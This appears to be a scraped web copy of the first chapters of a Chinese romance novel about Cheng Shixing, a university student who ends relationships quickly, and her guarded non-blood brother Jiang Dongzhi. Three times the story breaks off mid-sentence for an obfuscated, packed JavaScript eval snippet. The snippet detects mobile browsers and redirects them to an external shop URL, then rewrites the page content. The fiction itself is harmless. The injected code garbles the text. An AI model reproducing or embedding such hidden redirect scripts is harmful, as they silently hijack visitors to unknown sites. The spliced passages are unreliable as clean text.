《蘑菇妄想》 1. 1 “所以呢?”范茹画大声问,“这个又是为什么分手?” 彼时程拾醒正坐在清吧后排,灯光所聚之处歌手抱着一把吉他高坐台上,哼着首舒缓的民谣。台下紫蓝色光圈流转,划过桌面上玻璃杯内轻轻晃动的蜡烛,随着她抬手拢发的动作掠过那头墨黑的长发,只留下发梢一点光晕。 她轻描淡写:“不喜欢了。” “这么快?”范茹画诧异,掐着手指算算时间,这任坚持了才堪堪一个月,出乎意料的短。这令她感到一丝惋惜,毕竟这任长得着实好看,邻家弟弟型,干干净净乖乖巧巧的,个子也高,站在程拾醒边上养眼得紧。 “可你不是上周还沉溺在爱河之中吗?” “上周我确实很喜欢他。”她抿了口莫吉托,轻轻浅浅叹了口气,“但你也说了,那是上周。” “好吧。”范茹画耸了下肩。 她俩高中是同班同学,后来考上了同一所大学,认识到现在五年有余,她见证着程拾醒的男朋友换了一任又一任。 程拾醒长得漂亮,是清纯类的长相,偏生有股子劲儿,比野草平和,却又比浪潮汹涌,沁进她的骨子里,又从眼神里渗出来。范茹画形容不上来,只知道她当时见到程拾醒的第一眼就呆住了,那种强烈的吸引力或许来源于那股捉摸不透的神秘,或许来源于眼神里透出的漫不经心,又或许仅仅是因为她是程拾醒。总之,范茹画当时脑子里就一个想法——得拿到这个女生的微信号。 后面不仅拿到了微信号,她俩还处成了闺蜜。程拾醒什么样,她也清楚。是有些花心,是招蜂引蝶的一把好手,个个谈时都说是真心喜欢,这喜欢通常坚持不到三个月就死绝。 但她那比成功人士的简历还要丰富的感情经历并没有劝退那些男生,恰恰相反,他们每个人都怀着“我一定会是最后一任”的信心朝她前赴后继地涌过来,再在三个月后流着眼泪黯然神伤地离开。 范茹画平时碰到这种人肯定得抚掌叹一声我靠玩得真花,但她很双标,对好友的宽容度总是很高。不是一次谈八个,也不是一个谈八次,况且她闺蜜挑男友有些眼光,并且从不吃回头草,因此她接受良好。 这任……哦不对,已经是前任了,谈的是个大二的学弟,戴着副眼镜,瞧着斯斯文文的,特容易害羞,程拾醒指东他就不敢朝西。她以为他能坚持久一些,多谈几个月,事实截然相反,才一个月就被分手了。 范茹画还依稀记得学弟一周前被分手时的场景,两只眼睛连带着鼻尖都通红,可怜巴巴地伸手要去拉程拾醒的衣袖,被她狠心地后退一步,轻轻松松避开了。 他左手拎着要送她的恋爱满月纪念礼物,将礼品袋带子捏得死死的,问她:“是我哪里做得不够好吗?” “当然不是啦,你很好。”程拾醒轻声细语地哄他,“你很体贴,很可爱,和你在一起的这段时间我很开心。” “那为什么要分手呢?” 她依旧拿着不紧不慢的语速柔声告诉他:“因为没感觉了呀。我们谈之前都说好了的,无论是谁,只要没感觉了就提分手。” 范茹画默默扭开了头,没去看小学弟的表情,全当自己是空气。 程拾醒就是这样一个人,感情来得快,走得也快,谈时温柔浪漫好女友,抽身时比谁都干脆,好像就图个开心,爱谈谈,不谈也拉倒。 台上的歌手换了个,低沉柔和的吉他声停了,取而代之的是个男生,年纪似乎不大,长腿一迈便跳上了舞台,伴奏一开,是Bosson的《WhatIfI》,青年人的嗓音里像嵌了台竖琴,开口惊艳。 莫吉托喝完了,只剩下了几块冰块与两三片薄荷叶沉在杯底。程拾醒摁亮手机瞧了眼时间,零点了,问:“走吗?” “好啊。”范茹画跟着起身,“你今天还是回家吗?” 范茹画在广吴没有固定居所,平时都住学校宿舍。程拾醒则不然,大三后课少了,学校宿舍环境称不上好,每个人的空间小得可怜。她做自媒体,化妆品与衣服多,宿舍里堆不下,加上平时直播怕影响舍友,便干脆住家里了,只是宿舍里的床位还留着,有时做项目作业或者备赛忙起来,在学校会方便些。 歌唱到高潮了。 程拾醒说:“嗯。” “你哥今天在家吗?你回去得晚,他会不会说你?” “他出差。” “那还好。”范茹画在她耳边好奇地八卦,“哎,话说你哥都25岁了怎么还没谈恋爱?” “不知道。”程拾醒背上了自己的单肩包,将压在包链条下的头发拂开,浑不在意,“也许他谈了,只是我们不知道。” 范茹画摇摇头,想反驳说胡说八道你哥看着样子就像是没谈过的,话还没说出口,先被迎面挡住两人去路的那道黑影堵住了。 “您好。”那人摊开手机,屏幕上赤然是微信加好友的二维码,声音略带紧张羞涩,“能加个联系方式吗?” 又来了,今晚第二个。 范茹画闭嘴,习以为常。 台上人还在唱—— “Loveiseous Loveisunpredictable …… ” 程拾醒抬起眼睛,对视不过一秒,目光顺着他的鼻梁滑落,垂眼扫过手机屏幕,笑了一下,婉拒:“我有男朋友了。” 哦,看来是不合她胃口。 还是今晚第二个。 范茹画依旧习以为常。 “啊,这样,抱歉。”男生一愣,随后尴尬地收回了手机。 她道了声没事,挽着范茹画的胳膊,朝门外迈步。临到推门之际,她稍一顿,侧过头,余光穿过酒吧内昏暗的光影,遥遥落在舞台上,在男生半阖的眼睛与身上那件柔软的短袖上轻轻一点。 不过一瞬,随即收回眼,手腕用力,推门而出。 方一出门,晚风便扑了满怀,掀起她散落在脑后的长发。广吴的夏季最是闷热,总是踩着40度的线蹦迪,哪怕是刮着风的夜间也闷得毫不例外,好在白天下了场暴雨,稍稍降了点温,眼下地砖微湿,在橙黄路灯下浸出一片深色。 远处高楼大厦,灯火通明,典型的不夜之城。 她同范茹画打了车,路上范茹画与她聊天,自然地接上了被要微信插曲前的话题:“你和你哥差异真的大,你是一个接着一个谈,你哥是从没见过他对哪个异性有兴趣。” 程拾醒从窗外的霓虹移开视线,落在范茹画身上,认认真真地听她说完话,道:“不清楚。” “不清楚什么?” 她兴致缺缺地回答:“不清楚他对异性有没有兴趣。” “……”范茹画失语一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054676|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬。 她有时真的觉得这对兄妹的关系还挺奇妙的,明明若即若离,却又像两条缠绕在一起的藤蔓般密不可分。 其实程拾醒不常提她这位哥哥,范茹画接触他的次数也并不多,只是去程拾醒家玩时,偶尔是她哥开的门。 高高瘦瘦一大只站在她面前,细长的手指搭着门框,神色恹恹的,看着似不太好相处,声不吭一下,压迫感十足,下巴一撇,示意她可以换鞋进来了。 这份“示意”看着总是十分勉强,他看起来好像并不太愿意她进他的房子,不过是看在她是程拾醒好友的份上给个面子。 再偶尔,程拾醒同她在外面鬼混到一半,男人推门而入,扫了圈房间里的陈设,弯下腰敲了敲她面前的桌子,声音在音乐中被过滤得又低又沉:“怎么不回消息?” 她闺蜜脸不红心不跳地撒谎:“手机没电关机了,哥哥。” 他也不知信了没,只是看着她,说:“你该跟我回家了。” 范茹画的微信是他主动加的,刚加上时她受宠若惊,小鹿乱撞,无他,帅哥的主动总是令她想入非非,甚至跟程拾醒碎碎念问要是你哥喜欢我该怎么办。后面她就心死了,因为这位帅哥每次联系她都是因为程拾醒不回消息。 “我感觉你哥对你还挺……”她本想说“有占有欲”的,话到嘴边绕了个弯,“在意的。” 程拾醒“嗯?”了声,尾音上扬,脊背倚着靠背,道:“他以前不这样。” “不这样?”她复述。 程拾醒瞥她一眼,似笑非笑,“他以前巴不得见不到我。” 范茹画愣了愣。 程拾醒耸起肩,又落下,扭头重新望向窗外,那灯火通明的、璀璨的、在车速下连成线的霓虹灯光,喃喃声落进车鸣中。 “不过现在他是怎样,谁又说得好呢?” - 回到家时,里头正一片漆黑。 程拾醒摸索着墙壁上的开关,打开了灯,换了舒适的拖鞋,弯腰将地上那双白色皮鞋拎起来工工整整地摆放在鞋柜上,这才进了屋。 她先去洗了个澡,热气萦绕,拂过洗漱台上摆在一块的洗漱杯、剃须刀、洗面奶。她换上睡衣后开了通风,用纸巾将朦胧的镜面擦干净——这其实是她那位哥哥的习惯,相处久了,不知从什么时候起,她也跟着这样了。 热水冲走了原本的困意,神智重新回归清醒。程拾醒躺在被窝里玩了会儿手机,这时才发现那个范茹画的聊天框边多了个未读小红点。 女娲神作:【我今天买的那个挂坠是不是放你包里了?我怎么找不到了?】 程拾醒点开手机键盘,正欲回复,耳朵倏地敏锐捕捉到外头钥匙插入防盗门锁转动的声音,紧接着是钥匙触碰柜台发出的叮铃声、啪的开灯声、行李箱拖动、拖鞋落地时熟悉的细微啪嗒声…… 蒋冬至回来了。 比她所预料的,要早上整整两天。 脚步声渐近,一下一下,一声一声,缓慢又清浅地落进她耳里,最终停止在她紧闭的房门前,陷入寂静。 程拾醒指腹有一搭没一搭地点着手机侧边,纤长的睫毛垂着,视线落在因长久未曾触碰而暗下的手机上,漆黑的屏幕倒映出张平淡的人脸,像水中月般朦胧。 半晌,脚步声终于贴着她的房门重启,在耳中渐行渐远。 2. 2 她和蒋冬至的关系很复杂。说是兄妹,他们之间并没有血缘关系,但又确确实实这样在同一个屋檐下称兄道妹地过了那么多年。 而在最最开始,他们只是对门的邻居,是互看互不顺眼的关系。 睡梦中回忆再度重演。 那会儿他们还都在临霞市上学,蒋冬至父母在国外做生意,偶尔回国,程拾醒父母见他一个人孤零待在对门,便时不时照拂一二,这份照顾使两家关系越来越好。 直至某天,程拾醒父母决定去做战地记者。 两位原本就是搞新闻这块的,又都是说干就干的个性,蒋冬至父母一句“放心吧,醒醒有冬至照顾着呢,想做什么就去做吧”,两位立即跟上头报了名提着相机出国了,偶尔想起她,就在家庭群里跟她报备一声,示意她自己还活着。 频率不定,生死由命。 生死由命,也指刚被蒋冬至“照顾”时快要疯掉的她。 程拾醒被散养惯了,凡事只求一个活得舒心,而蒋冬至死规矩烂多,每天皱着眉揪着她哪里哪里没合他心意的点不放。鞋子要摆放如何整齐、衣服不能堆叠在椅子上、十一点前得回家…… 生活习惯调和成了个问题,加之那时两个人一个比一个脾气刚硬暴躁,一个刚刚高考结束青春期的叛逆劲还没过,另一个向来是无法无天谁也别想管的性子,家里吵得天翻地覆,谁也不肯低头。气得程拾醒常常委屈地在家庭群里发消息,拿99+换来两条平安。 只是后来,战火无眼,炸碎了程拾醒和父母之间维持的那份“频率”,被尘土埋在遥远的国度,从此再无音讯。 再后来,他们年纪渐长,脾气收敛。 程拾醒从朦朦胧胧的梦中醒来时,已经是上午十点半。 整理好床铺后,从衣柜里捞出件红色小挂脖与牛仔短裤套上。阳光被窗帘挡了个彻底,待她拉开一瞧,明媚的光线瞬间洒满整间屋子,促使她下意识眯起眼。 广吴的天气好得可真够吓人的。 程拾醒一出房间,便瞧见有道一周不见的熟悉人影正坐在餐桌前,侧对着她,黑裤之下长腿随意搭放着,一派漫不经心的模样,指尖敲击着眼前的电脑键盘,听见动静,眼都未抬。 “醒了?” “嗯。” “粥在电饭煲里保温。”蒋冬至脊背往后一靠,伸手摘下鼻梁上架着的无框眼镜,随意抽了张纸巾擦拭着镜片,“还有蜂蜜水,在厨房大理石台上。” 她身形微顿,语调不变:“我不爱吃甜的,哥哥。” 他应了声,眼镜被搁置在桌上,金属架触碰木质桌平面发出一声细响——蒋冬至近视度数不高,仅在办公时会戴上。他撩起眼皮,目光直直落在她的眼睛上,瞳孔在光线下颜色偏浅,这样不动声色地同他对视,也没移开。 他眼睛一垂,继续问,像是闲聊般随意:“昨天跟范茹画出去玩了?” 她诧异地一挑眉,很快就恢复神色,只应了声。 “几点回来的?” “你呢?”程拾醒不答反问,“今天早上的飞机吗?” “昨晚十二点三刻到的家。”蒋冬至眉梢一压,“你没听见我回来的声音吗?” 程拾醒笑了下,“大概是睡太熟了。” “是吗?”蒋冬至看着她,良久,从鼻腔里哼出一声意味不明的笑,道,“我原本怕回来动静太大,会吵醒你。” “不会。” “那就好。” 他原本搭着的腿放下,起身时顺便将电脑合上,同她擦过肩,径直迈向厨房。程拾醒跟在他身后,瞧着他从壁橱里捞出个碗,指腹一按,电饭锅盖弹开,热雾连带着香味一起晕散开。 她的目光从他身上那件款式简单的白色短袖上掠过,忽而想起,昨晚离开酒吧前,台上那个手握话筒唱着《WhatIfI》的男生,也是这么一件白色短袖,整个人被笼在舞台明亮的灯光下,眼睛半阖,青涩,但不见怯场。 “程拾醒。”头顶有道声音唤她的名字,音色低沉,一下将她从昨晚清亮的嗓音与轮转的灯光中拉回来。 她嗯了声,尾音上扬,回过神来一瞧,这才发现蒋冬至盛完了粥,右手端着定在她面前。程拾醒道了声谢,方要伸手接过,面前那只端着瘦肉粥的手微微一收,避开了她的动作。 程拾醒仰起脸,蒋冬至此刻正低着眼,注视着她,见人抬头望过来,终是没忍住,唇一张,吐出几个字:“以后少撒谎。” 她轻轻眨了下眼,不解地歪头,“比如呢?” “比如,在跟我道过晚安说困了后的第二个小时二十三分钟,被我的同事撞见和你那位闺蜜在酒吧。” 程拾醒啊了声,恍悟,惋惜着昨晚光顾着聊天,都没仔细看周围有谁。 怪不得,原来是这样。 “哪个同事?我只来过你公司两次,还有人记得我长什么样子啊。” “别扯开话题。”蒋冬至说,“我记得我告诉过你,十一点前回来,你跟范茹画两个女孩子家家,大晚上待在外面出事了怎么办?” “何时何地都容易出事,手机充个电都有一定几率会爆炸。”她耸了下肩,“人嘛,想干什么就干什么,活在当下。” “那是手机有质量问题。”蒋冬至提醒完,继续说,“还有,少随随便便通过别人的好友申请,这个社会上居心叵测的人多了去了,万一……” 话还未说完便先失语,程拾醒不知从哪弄来了块蔓越莓小饼干,用透明袋包装着,塞进他的左手掌心,低头时唇微不可见一抿,再抬头时笑意盈盈,“哥哥,你说得对。” 蒋冬至摩挲着左手掌心里塑料袋的质感,停了原先的话题,嘴角耷着,眉宇间充斥着一股烦,“别拿这副表情跟我说话。” “我饿了。”程拾醒隔空点点他手里那碗粥,神态自若,“快要冷掉了,哥哥。” 他定定看了她许久,四目相对,最后他先叹出一口气,将碗筷递予她,先行一步出了厨房。 程拾醒出去前扫了眼大理石台面,压根没有什么蜂蜜水,只有一颗葡萄味硬糖。 果然,那句是蒋冬至用来套她话的。 她盯着那颗糖,半晌,还是伸手,将它装进口袋。 - 程拾醒和蒋冬至在家时聊天并不多。一个在客厅办公,一个在房间学习。期间蒋冬至敲过一次她的房门,端了碗切好的西瓜进去。除此以外便再没什么交流。 下午三点,程拾醒收拾收拾东西准备出门。 她报了一位健身教练的私教课,主要是为了塑形。教练名叫江含,挺温柔干练的一个姐姐,一年课上下来两个人已成了朋友。 一节课总共一小时,结束后暴汗。程拾醒坐在更衣室旁的椅子上喘着气休息,江含递来一瓶盐汽水,她接过后道了声谢,仰起脸灌了两口,道:“我下周日有点事,就不过来了。” “行。”江含低头瞧了眼手机,忽而弯唇一乐。 “怎么了?”程拾醒问。 “我弟,说要来健身房找我。”江含道,“还问我你是不是也在,要不要晚上一起吃个饭。” “不了。”她婉拒,“学校今晚有活动,我待会儿洗个澡就得走了。” “你可真忙。”江含回了消息,被捏着的手机在掌心一转,收回口袋,瞧着她似笑非笑,“话说你前段时间分手了啊?” “嗯。” 江含意味深长地啊了声:“昨天我弟还在偷偷摸摸向我打探这个问题,你怎么说?” “什么怎么说?”程拾醒拧上瓶盖,起了身,“我可不跟熟人的弟弟谈感情。” 江含挑眉,“那就是没戏咯?” “你知道我什么样子。”程拾醒歪了下头,垂着浓密的睫毛望她,淡笑,“到时候分手了,你多难做。” “行了,我清楚了。”她也跟着起了身,从鼻间叹出一声长息。 - 程拾醒在健身房洗了个澡,换上衣服,便打车回了学校。 夏季的天色暗得慢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054677|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五点钟仍艳阳高照,今晚学校里有招新活动,一张张桌子在草坪上围成个大圈,人潮涌动。中间那块空地有音乐社的手持话筒唱着歌,四周围了些人举着手机录视频,清亮的嗓音与周围嘈杂的张罗着招新的人声混在一块,穿透天际。 程拾醒慢慢悠悠晃过去,还未找到舞蹈社的位置,先有人扯着嗓子大喊了声:“社长!” 她扭头望过去,赵期玉小跑过来,拉着她往摊位处走,嘴中碎碎念:“我刚还想着给你发消息,问你什么时候到呢。” 摊前聚了好些人,弯腰填着报名表,郭效正前倾着身子跟新生介绍社团基本情况,介绍得口干舌燥,正要抿口水,余光里瞥见她,眼睛一亮,立即转过头来,同她打招呼:“社长!” “别叫我社长,我都退位了。”程拾醒在边上的椅子上坐下,从桌上捡了颗糖,确认了下口味,这才剥开包装咬进唇齿间,脸侧瞬间鼓起一块,“招得怎么样?填表的人多吗?” “还行。”郭效道,“我跟赵期玉打算下周六办次面试,你要来吗?” “我就不来了。”她摇摇头,“我都退社了,你们俩看着吧。” “行。” 草坪中间的男生唱完了歌,顺带还宣传了一波音乐社:“如果你喜欢音乐,喜欢唱歌,请来音乐社,我们有专业的声乐老师指导,有优秀的学长学姐可供请教……” 有社员从中央的人群里气喘吁吁挤出来,跟程拾醒道了声好,扭头去同赵期玉交谈:“赵社长,音响空了,咱们社要派人上去展示吗?” “可以啊,拉一波存在感。”赵期玉欣然点头。 “但我们这需要人手。”郭效蹙眉,“社里好多人现在都不在学校,我俩要留在这里看摊子,你得去发传单。” “这不还有个人吗?”赵期玉慢慢转过身,将炙热的目光落在了坐在易拉宝阴影下,一手抵着下巴的程拾醒身上,“又到你为我们社发光发亮的时候了,前社长。” 程拾醒没动,只这么放松地倚着椅背,抬着眼瞧她。两端锁骨阴影深陷,穿过红色的挂脖肩带,延伸至肩。 赵期玉双手抱拳在胸前摇晃,声音拉出波浪线,求她:“社长——” “咦,你怎么每次都是这么一招?”郭效往边上挪了挪椅子,嫌恶。 赵期玉翻脸无情,呸他声:“又没喊你,少管。” 程拾醒忍笑,轻咳两声。 她嚼碎了齿间的糖果,甜味瞬间在舌尖蔓延开,放下了支下巴的手,撑着椅子边缘站起,道:“知道了。” “你看。”赵期玉冲郭效一耸肩,“招不再多,有用就好。” 郭效:“……” 程拾醒用手机连了音响的蓝牙,社员在边上凑过脑袋来看她的手机屏幕:“程社长,你跳什么啊?” 她手指滑动过屏幕上的歌曲,最后指尖停在某一处,轻触,音乐立刻通过音响在草坪上扩散。她将手机往社员手中一递,边朝人群中央走边扬声回答:“《genie》。” 天际的艳阳总算被熬到昏沉,缀在高空摇摇欲坠,像打翻了一瓶红色颜料,泼墨在天幕之上,将原本的湛蓝染成一片绚丽的色彩。 程拾醒在中央站定,单膝微曲,头微垂,在鼓声掷地有声之时抬起头,踩着节奏朝前迈出几步。 跳舞时的程拾醒自信又放松,带着股慵懒的劲,每个动作都似乎毫不费劲,幅度却都恰到好处,身后的路灯盏盏亮起,就在这夕阳迟暮之际,在漫天晚霞之中,她在此刻是带刺的玫瑰,是热烈的烟花,是比正午的烈日还要耀眼夺目的存在。 张扬漂亮得紧。 而蒋冬至此时站在人群开外,手里还捏着办公文件,远远眺望着,隐隐听见身侧有人窃窃私语,带着惊叹地讨论着他这位从小到大去哪里都引人注目的妹妹。 “这个是你妹妹吧?”同事站在他身侧一同看着,嚯了声,“你妹妹……挺有魅力啊。” 他眉梢微动,只瞧着,不置可否。 谁说不是呢? 3. 3 音乐渐止,周围掌声四溢。额前沁出了汗,程拾醒随手抬起手背拭过汗珠,眸光含笑,自围着的人群上扫过,直至对上某道视线。 相隔遥遥人群,四目在暖色调灯光下相触。 流动的空气被夏季的温度所灼烧,额前的汗顺着鼻梁滑落,滴在唇角。程拾醒下意识舔了下唇瓣,咸的。 不过几秒,她眼一眨,错开了视线,朝着正捧着手机站在一边的社员走去,从他掌心接回手机,关了音响蓝牙,朝着舞蹈社的摊子走过去。 “程社长你刚才跳得巨好!”社员跟在她身侧,夸赞。 “谢谢。”她从来不吝啬对自己的夸奖,话说出来带着股生来就该如此的平静感,“我也这么觉得。” 天色渐晚,摊子上挂着的灯带也跟着亮了起来。比起刚来草坪那会儿,人稍微少了些,再过约莫半个小时,社团招新便该结束了。 她重新靠回椅背,手指戳开微信。 身侧,郭效提议:“待会儿结束了,我们几个去校门口的烧烤摊搓一顿?” “可以啊。”赵期玉欣然应允。 “我也没问题。” Puhpowee:【你怎么来这了?】 程拾醒脑袋倚在椅背上,举着手机瞧着聊天记录,对面始终没有回应。 “社长?程拾醒?”赵期玉喊她名字,“你去不去?” 她“嗯?”了声,终于从手机里抬起眼,问:“怎么了?” “再过会儿社团招新就结束了。我们想着结束后去校门口的那家烧烤店吃点,你来吗?” 程拾醒想了想,正好她晚饭也没吃,便点头道:“行。” “那行,我收拾收拾桌上的东西。” 她起了身,摁灭了屏幕将手机往口袋中一揣。 “我帮你。”她这样说着,感受到口袋中隔着一层单薄的布料贴着皮肉的手机终于振动,撩起眼皮草草扫过一眼人群。 蒋冬至已经不在了。 - 点开蒋冬至的消息时,程拾醒已在烧烤摊前坐下。 露天桌椅,夹在店内白炽灯光与右侧浇下来的昏黄路灯灯光之中。店门口搁置着烧烤架,老板熟练地刷油翻滚签子,炭火噼里啪啦,烟雾缓缓飘散开,孜然香味弥漫。赵期玉还拿了四罐冰啤酒易拉罐,一口冰凉灌入喉中,在闷热的天气里腾起一丝舒爽。 程拾醒咬了口五花肉,低头去瞧微信。 刺猬:【工作,找你们学校一个教授有点事。】 她扫过一眼,没太在意,回了声哦,便灭了手机。 郭效随意开了个话题:“下周日我们学校是不是要搞校园歌手大赛了?” “好像是的。”旁边来了桌人,看身量模样大概率隔壁艺术大学的,赵期玉下意识往边上瞥了眼,随后继续问,“范学姐参加吗?” 程拾醒:“参加。” “几点开始啊?我要是有空,过来给她加油。” “下午四点开始。” “这样,那我跟赵期玉去不了了。”郭效觉得惋惜,“我们专业上周四有个老师有事请假没来上课,说是下周日三点半把这节课补回来。” “没事。”程拾醒道,“你们都来了,她反而容易紧张。” “我还是很想听范学姐唱歌的。”赵期玉叹了口气,余光里扫过旁桌那几个男生,又忍不住停了停,坐在最左侧长得最帅五官最硬朗的那位目光似乎总遥遥落过来,她佯装不经意地回了个头,目光掠过他,终于确定了这人在盯程拾醒,死死地。 而程拾醒似乎什么也没察觉到,低垂着眼,捏住易拉罐饮了口啤酒,指尖随意拨动着手机链上的珠子玩。 在第四次捕捉到旁桌投来的视线时,赵期玉终于忍不住朝她倾过身子,压低了嗓音提醒:“旁边那个穿着墨蓝色短袖的,老看你。你认识吗?” “嗯。前男友。”她轻描淡写地说完,稍一停顿,仔细思考过后,严谨地补充,“应该是前前男友。” 赵期玉:“……” 她想起坊间关于程拾醒的恋情传闻,不吱声了。 作为表白墙的常驻用户,程拾醒的八卦总沸沸扬扬传得五花八门,包括且不限于“那个c是又换男友了吗”“注水,听说c分手后,我室友带着微信二维码勇敢出击,铩羽而归”“我朋友被c甩了,在宿舍哭了两天了,我决心让他懂得什么叫做旧的不去新的不来,有人要他联系方式吗,c严选,包帅包体贴的”“求问c到底喜欢什么类型的,感觉她谈面好广”…… 作为同社团的学妹兼朋友,赵期玉从未在聚会或者社团活动时见程拾醒带男友过来,也没在社交平台上看见她秀恩爱,只偶尔会在马路上遇见……几乎每次遇见的人都长得不一样。 程拾醒望向对方的眼睛总是亮晶晶的、深情的,每次赵期玉以为这回她要陷下去了,不出三个月又会从论坛上得知她又分手了。于是她成了人们口中的海后,但俨然她不太在意,赵期玉也对此闭一只眼再闭一只眼,全当没看见。 著名哲学家范茹画曾言:除了更广泛的胸襟,显然她还拥有惊人的良知,明明有能力一次谈八个却坚持着1v1的原则,多么优秀的品质,多么有魅力的人! 赵期玉比较保守,对此不理解但尊重,她不关注程拾醒的恋爱,也不知晓他们的分手是否和平,只知道程拾醒对她挺好。 隔壁桌的那位前前任仍在持续地紧盯程拾醒谈笑风生,赵期玉逐渐开始胆战心惊,怕他由爱生恨,突然起立砸了她们这桌。毕竟新闻上这种事情总是屡见不鲜,更何况…… 她偷偷打量了下他的手臂线条,确定他平日肯定没少健身。 郭效作为粗线条的直男,窥不见丝毫暗潮涌动,啃着肉串问:“范学姐如果拿名次了,我们给她开庆功宴,我知道有一家味道很不错的火锅。” 程拾醒挑眉:“那要是没拿名次呢?” 郭效:“那就开安慰宴。” “吃吃吃,你怎么就知道吃?”赵期玉恨铁不成钢。 “你好意思说我吗?”郭效不服气,“你数数是你面前的签子多还是我面前的签子多?” 赵期玉正欲反驳,余光里,前前任站起来了,而在同一时刻,新闻里各种为爱寻仇血溅当场的事迹在她的脑海中彻底加载完毕,促使她像弹簧一样从椅子上蹦了起来。 在预备拦在程拾醒面前完成一场酣畅淋漓的美女救美女之前,看见前前任站定在程拾醒身侧垂下了头颅,露出了一种奇怪的、带着些许期许的、难过的、委屈的、卑微的、令人难以形容的目光。 “程拾醒,好久不见。”他的声音低低的,在风里一吹即散。 赵期玉及时刹车,在郭效迷茫疑惑的目光中,尴尬到无地自容地活动了下肩颈,又默默坐下了。 程拾醒终于侧过脸,掀起眼皮望向他,淡笑着颔首:“好久不见。” 说完,又从面前的盘子里挑拣了根牛肉串递给赵期玉,见对方愣着,道:“我吃得差不多了,你想吃就拿走吧。” 郭效一拍脑袋,嘀咕:“你要吃牛肉拿不到不能说吗?突然起立吓我一跳。” 赵期玉没敢解释自己丰富的想象力,伸手接过了牛肉串。 “我有点渴,去隔壁便利店买瓶水。”易拉罐已经空了,程拾醒起了身,问他俩,“你们有什么要买的吗?” 两个人摇摇头,于是她的目光又落在了身侧这位前前任身上,只轻轻一点,对方忙说:“我正好也要去,一块儿吧。” 八点半,天色已经彻底暗沉下来,星星稀少,月光却亮,朦朦胧胧拨开缠绵的云丝,云薄得像被扯松的雾。 晚风扫开热浪,昨天下的那场暴雨残留的痕迹已在沥青路上彻底消失殆尽。程拾醒随便从货架上拿了瓶水,扫码付了钱,踏出便利店。面前车流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054678|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如线,她在路灯下止步,转过身,仰脸望向他,很客气:“找我是有什么事吗?” “我……”他舔了下唇瓣,“听说你分手了……” “然后呢?” 他睫毛颤着,低着头,有些紧张,半晌后还是问出口:“我们俩还有机会吗?” 程拾醒静了几秒,忽而偏头笑了声。 “当初我们确定关系之前,我说过什么、你答应过什么,还记得吗?”她的目光柔和又疏离,注视着他逐渐黯淡的脸色,轻轻告诉他,“好聚好散。” 塞在口袋的手机嗡嗡作响,程拾醒拿出来瞧了眼,是蒋冬至的微信。 刺猬:【几点回来?】 她回消息。 Puhpowee:【吃完饭就回。】 信息刚发出去,身畔,前前任嗓音落下来:“程拾醒,你真的喜欢过我吗?” 关于这个问题,不仅他问过,前任也问过,前前任也问过。 她不解地歪头,疑惑:“如果我没有喜欢过你,当初为什么要接受你的表白?” “那你怎么就能那么轻易地提出分手?”他眼圈红了,吸了吸鼻子,“我想不通为什么,你说我哪里不够好我都可以改,暑假收到你的消息之后我立马就买车票回广吴了,可是你删除了我的联系方式,我找不到你,我不知道你家在哪里你从来都不告诉我,甚至我那时才发现你从来都没有让我融入你的社交圈。” 夜风拂过脸颊,程拾醒随手将随风飘荡的发丝别在耳后,耐心地听着他哭诉。 “我托了很多很多关系,找了很多很多人,最后才找到你家里的位置,我很忐忑,敲响了你家的门……可是开门的人不是你。” 程拾醒皱眉,第一反应是烦,他还找去找她家了? 她也猜到开门的人是谁了,但关于这件事蒋冬至从来没有告诉过她。不过她现在也懒得解释,那都是过去的事情。 “我很震惊,他问我我找谁,我说我找程拾醒,那个人打量了我一会儿,告诉我说你在洗澡,还让我以后别来打扰你。”这回他是真哭出来了,眼泪直掉,哽咽,“当时我们分手才一个月……你怎么可以……他究竟比我好在哪里?” 程拾醒:“……” 看他哭得太伤心,她好心地递了张纸。 他接过,道了声谢,在脸上擦了两下,平复了下情绪:“后来,大概又过了一个月,果然听说你又谈了,所以我不敢再去找你了。现在,你分手了,其实你也没有很喜欢他对不对?” 他的眼神带着期盼,程拾醒抱胸站在灯光之下,川流不息的车灯前,金色勾勒发丝轮廓,就这样抬着眼睛瞧他。她的睫毛很长,又浓密,在眼下垂落一片小小的阴影。 她很漂亮,是那种精致、清纯但又像阵风的漂亮,好像没有人可以抓得住她,即使她正站在面前,正拿那双亮亮的眼睛注视着他。 “我是不喜欢他了,可是我也不喜欢你了。你和他都只是我的过去式。”她思考了一会儿,又抽了张纸递进他的手心,慢条斯理地继续说,“我以为谈恋爱之前就已经跟你说得很明白了,我不是一个稳定的人,如果我们当中有谁对对方失去兴趣了,就分手,不纠缠,你也答应了的。” 他动了动唇,想说什么,欲言又止。 